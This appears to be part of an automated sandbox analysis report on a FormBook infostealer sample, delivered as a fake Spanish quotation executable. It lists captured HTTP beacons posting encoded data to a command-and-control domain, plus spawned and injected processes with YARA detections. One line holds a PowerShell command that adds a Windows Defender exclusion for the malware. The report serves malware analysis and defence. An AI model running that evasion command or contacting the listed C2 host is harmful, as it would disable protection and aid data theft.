Sep 11, 2024 22:06:23.711595058 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Wed, 11 Sep 2024 20:06:23 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Sep 11, 2024 22:06:23.712097883 CEST	219	IN	Data Raw: 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 Data Ascii: > <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.10	49753	47.239.13.172	80

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:06:29.481215954 CEST	725	OUT	POST /d8su/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.trcrb8e8m.sbs Origin: http://www.trcrb8e8m.sbs Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.trcrb8e8m.sbs/d8su/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 36 46 70 69 67 74 34 6c 54 79 6c 54 50 32 4f 66 50 6f 48 67 33 66 6b 32 62 6c 70 6f 66 56 73 4d 34 35 6f 4e 64 79 63 42 54 4c 5a 46 45 57 42 79 78 35 73 52 53 52 32 4c 33 46 6f 53 4f 68 47 6f 76 6a 42 70 55 78 56 75 34 72 58 51 76 59 38 77 33 6b 4b 36 6f 61 7a 6e 51 64 37 6a 48 4f 72 2f 62 4a 4f 67 77 6f 77 77 77 39 6b 51 37 2b 45 70 38 55 77 72 51 43 4e 68 59 5a 47 44 34 48 36 46 66 7a 39 30 45 42 64 58 52 68 57 67 72 79 63 52 67 69 45 6a 78 6f 54 76 72 59 30 73 39 68 51 64 75 32 76 2b 45 43 53 6f 4e 4b 71 6f 73 73 52 75 47 74 4d 4b 41 47 74 68 77 63 4a 7a Data Ascii: bFGXGTdX=6Fpigt4lTylTP2OfPoHg3fk2blpofVsM45oNdycBTLZFEWByx5sRSR2L3FoSOhGovjBpUxVu4rXQvY8w3kK6oaznQd7jHOr/bJOgwowww9kQ7+Ep8UwrQCNhYZGD4H6Ffz90EBdXRhWgrycRgiEjxoTvrY0s9hQdu2v+ECSoNKqossRuGtMKAGthwcJz
Sep 11, 2024 22:06:30.426184893 CEST	165	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 11 Sep 2024 20:06:30 GMT Content-Type: text/html Content-Length: 2 Connection: close ETag: "660279db-2" Data Raw: 31 0a Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.10	49754	47.239.13.172	80

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:06:32.013145924 CEST	749	OUT	POST /d8su/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.trcrb8e8m.sbs Origin: http://www.trcrb8e8m.sbs Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.trcrb8e8m.sbs/d8su/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 36 46 70 69 67 74 34 6c 54 79 6c 54 56 58 2b 66 44 76 54 67 79 2f 6b 35 58 46 70 6f 4a 6c 73 41 34 35 30 4e 64 77 77 52 54 34 39 46 45 7a 39 79 32 4c 49 52 54 52 32 4c 76 31 6f 58 4e 52 47 76 76 6a 64 62 55 31 52 75 34 71 7a 51 76 61 30 77 33 33 53 31 75 61 7a 6c 66 39 37 6c 61 65 72 2f 62 4a 4f 67 77 70 56 74 77 2b 55 51 36 4f 55 70 39 31 77 30 54 43 4e 6d 66 5a 47 44 38 48 37 4d 66 7a 39 47 45 41 77 66 52 69 2b 67 72 33 67 52 67 77 38 69 2f 6f 54 68 30 6f 30 79 78 77 6c 34 6f 56 54 35 4d 53 66 38 5a 34 2b 49 72 4e 77 70 58 38 74 64 54 78 78 76 2b 61 38 5a 36 4c 4a 67 6a 65 6f 43 59 70 77 35 31 58 6f 51 32 72 35 4e 4c 51 3d 3d Data Ascii: bFGXGTdX=6Fpigt4lTylTVX+fDvTgy/k5XFpoJlsA450NdwwRT49FEz9y2LIRTR2Lv1oXNRGvvjdbU1Ru4qzQva0w33S1uazlf97laer/bJOgwpVtw+UQ6OUp91w0TCNmfZGD8H7Mfz9GEAwfRi+gr3gRgw8i/oTh0o0yxwl4oVT5MSf8Z4+IrNwpX8tdTxxv+a8Z6LJgjeoCYpw51XoQ2r5NLQ==
Sep 11, 2024 22:06:32.913976908 CEST	165	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 11 Sep 2024 20:06:32 GMT Content-Type: text/html Content-Length: 2 Connection: close ETag: "660279db-2" Data Raw: 31 0a Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.10	49755	47.239.13.172	80

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:06:34.544626951 CEST	1762	OUT	POST /d8su/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.trcrb8e8m.sbs Origin: http://www.trcrb8e8m.sbs Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.trcrb8e8m.sbs/d8su/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 36 46 70 69 67 74 34 6c 54 79 6c 54 56 58 2b 66 44 76 54 67 79 2f 6b 35 58 46 70 6f 4a 6c 73 41 34 35 30 4e 64 77 77 52 54 34 31 46 45 42 46 79 78 62 30 52 43 68 32 4c 6d 56 6f 57 4e 52 48 71 76 6a 55 53 55 77 4a 2b 34 70 62 51 75 2f 67 77 6a 57 53 31 39 36 7a 6c 64 39 37 6b 48 4f 72 71 62 4e 71 6b 77 6f 6c 74 77 2b 55 51 36 49 34 70 72 55 77 30 66 69 4e 68 59 5a 47 31 34 48 36 70 66 7a 45 7a 45 41 31 39 52 54 65 67 73 58 51 52 7a 31 6f 69 7a 6f 54 6a 33 6f 31 68 78 77 35 72 6f 56 2f 44 4d 54 61 30 5a 36 2b 49 6f 74 31 59 4d 65 39 51 51 52 64 4c 33 49 59 4c 6f 50 6b 49 71 39 74 78 61 59 68 6d 33 48 35 43 39 71 59 6e 65 79 4b 4b 73 4b 2b 73 49 70 71 6e 73 46 42 55 75 55 71 75 59 74 70 59 62 51 57 45 76 76 36 47 51 58 55 7a 35 64 77 39 68 76 58 53 5a 45 46 4f 72 7a 34 56 68 37 4c 42 43 45 71 66 6c 44 77 68 44 58 50 62 6b 74 54 6e 4e 31 58 78 5a 68 43 6b 41 79 4d 72 33 4c 73 66 73 67 6f 63 58 5a 43 74 76 33 67 30 55 4e 31 63 65 68 72 5a 2b 37 51 30 78 53 6a 39 53 46 75 4a 4a [TRUNCATED] Data Ascii: bFGXGTdX=6Fpigt4lTylTVX+fDvTgy/k5XFpoJlsA450NdwwRT41FEBFyxb0RCh2LmVoWNRHqvjUSUwJ+4pbQu/gwjWS196zld97kHOrqbNqkwoltw+UQ6I4prUw0fiNhYZG14H6pfzEzEA19RTegsXQRz1oizoTj3o1hxw5roV/DMTa0Z6+Iot1YMe9QQRdL3IYLoPkIq9txaYhm3H5C9qYneyKKsK+sIpqnsFBUuUquYtpYbQWEvv6GQXUz5dw9hvXSZEFOrz4Vh7LBCEqflDwhDXPbktTnN1XxZhCkAyMr3LsfsgocXZCtv3g0UN1cehrZ+7Q0xSj9SFuJJxhgmsGWd5Vvv5mwKnBceWpj7CChhwSSQZ6eBqp5yWj3VToKtxIgz53FI0mTZgf65T7mRcq4bE4jAjbx5WDi88kkSkFn44R3kAbDxV31ZRuXy4EkRTB+lDsxWYHXPB5QFlJPjCShIOLjEr62PsSZyh2KyJ+I3INi1fnNc3P9GBCkOtvhbVPj9O5KsEPgint5xDK8dG8tP8S2RR1G5Fbf+687Sq8lYEZKwESbGaaaM/UJeTkw74Wg8SQf1us3hmlTekFqBCM/G7/cYfvuEC0ujllL4+kF9J+mK8pnJDGnzeee6ylI0TtN6blTPhriTgRnXl0VuqZdpYYbDUnyarBc7zBJvFzDs0fN9hMUOg9ybbBjyq+XXd/lF1QkoFYw+1fFgSkMOtaVwnxf8MxiMXJ4nE6yIJad/8w6fH0vGg2aBQhIn7Z1Dbdy4fWWIW2CbYv3hExZWcYHQymHd4P5zR6ZiQbPTQLloIcsyUBv7G30Ryiy725B2MZJQuDJY6rj1/rwGVIjGFYHkMGDu5vFF158gKnW21V4yBLqrQ6ofiE0DHbLvMmJR6pH3lqHvl2acWG2v0W7Hq+u1mPz92aOmPKTVLmBB8f7spdKQPCSTua3YVAhcYjFSlv+WqyEHmK/WVrVWyjY8tLOztsY9XITcnCQivX8aOwkfbfNCX2 [TRUNCATED]
Sep 11, 2024 22:06:35.474220991 CEST	165	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 11 Sep 2024 20:06:35 GMT Content-Type: text/html Content-Length: 2 Connection: close ETag: "660279db-2" Data Raw: 31 0a Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.10	49756	47.239.13.172	80

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:06:37.075231075 CEST	460	OUT	GET /d8su/?bFGXGTdX=3HBCjYMba2FPA3TIMZ366tJLR19IJjxz0bIsDTYva69fDAgKwrpmDBuz3X8ZHGWOiFUXNC9bte/eip1p2XCq457JVfW7M++UWZyl/bQwgvBliJsYpA==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.trcrb8e8m.sbs Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Sep 11, 2024 22:06:37.962395906 CEST	224	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 20:06:37 GMT Content-Type: text/html Content-Length: 2 Last-Modified: Tue, 26 Mar 2024 07:31:39 GMT Connection: close ETag: "660279db-2" Accept-Ranges: bytes Data Raw: 31 0a Data Ascii: 1

Target ID:	0
Start time:	16:02:09
Start date:	11/09/2024
Path:	C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe"
Imagebase:	0x23e06540000
File size:	3'079'318 bytes
MD5 hash:	EE557BE5D5E16D9EA01241F09A19A87B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	16:02:14
Start date:	11/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe" -Force
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	16:02:14
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	16:02:14
Start date:	11/09/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Windows Mail\wab.exe"
Imagebase:	0xbf0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1543223916.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1543223916.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1542801016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1542801016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1543864387.0000000004D40000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1543864387.0000000004D40000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	16:02:14
Start date:	11/09/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files (x86)\Windows Mail\wab.exe"
Imagebase:
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	16:02:15
Start date:	11/09/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7448 -s 1404
Imagebase:	0x7ff745f20000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	16:02:18
Start date:	11/09/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6616b0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	16:02:23
Start date:	11/09/2024
Path:	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe"
Imagebase:	0x6c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3792934989.0000000004160000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3792934989.0000000004160000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	16:02:24
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\SecEdit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\SecEdit.exe"
Imagebase:	0x9a0000
File size:	37'888 bytes
MD5 hash:	BFC13856291E4B804D33BBAEFC8CB3B5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3791309968.0000000002A30000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3791309968.0000000002A30000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3791449632.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3791449632.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3790655186.0000000000570000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3790655186.0000000000570000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	14
Start time:	16:02:37
Start date:	11/09/2024
Path:	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe"
Imagebase:	0x6c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3795206841.00000000053A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3795206841.00000000053A0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	15
Start time:	16:02:42
Start date:	11/09/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Windows Mail\wab.exe"
Imagebase:	0xbf0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	16
Start time:	16:02:43
Start date:	11/09/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff7ca230000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	17
Start time:	16:02:50
Start date:	11/09/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Windows Mail\wab.exe"
Imagebase:	0xbf0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	16:02:54
Start date:	11/09/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff613480000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true